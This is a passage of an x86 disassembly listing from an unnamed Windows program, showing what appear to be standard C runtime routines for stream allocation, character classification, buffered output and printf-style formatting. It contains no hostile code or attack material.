sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD040
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC02C
		mov	edi, ebx

loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------

loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------

loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC02C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC02C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi

loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE88
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------

loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE88
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------

loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------

loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D598
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5B8
		jnz	short loc_41FE95

loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C

loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx

loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------

loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------

loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4E0

loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch

loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------

loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------

loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------

loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh

loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------

loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------

loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax

loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump

loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax

loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]

loc_42004C:				; DATA XREF: ___:00432870o
					; ___:0043287Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------

loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx

loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE88	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8

loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh

loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D0A4
		mov	[ebp+var_8], ecx

loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------

loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------

loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8

loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------

loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------

loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D0A0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------

loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1

loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D430
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D43C
		pop	ecx

loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D434
		pop	ecx

loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi

loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------

loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------

loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------

loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D0A0
		mov	[ebp+var_8], ecx

loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx

loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------

loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------

loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8

loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7

loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------

loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------

loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------

loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------

loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h

loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah

loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------

loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax

loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------

loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------

loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------

loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx

loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3

loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------

loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0

loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------

loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0

loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E

loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]

loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------

loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549

loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax

loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------

loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------

loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h

loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1

loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h

loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h

loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
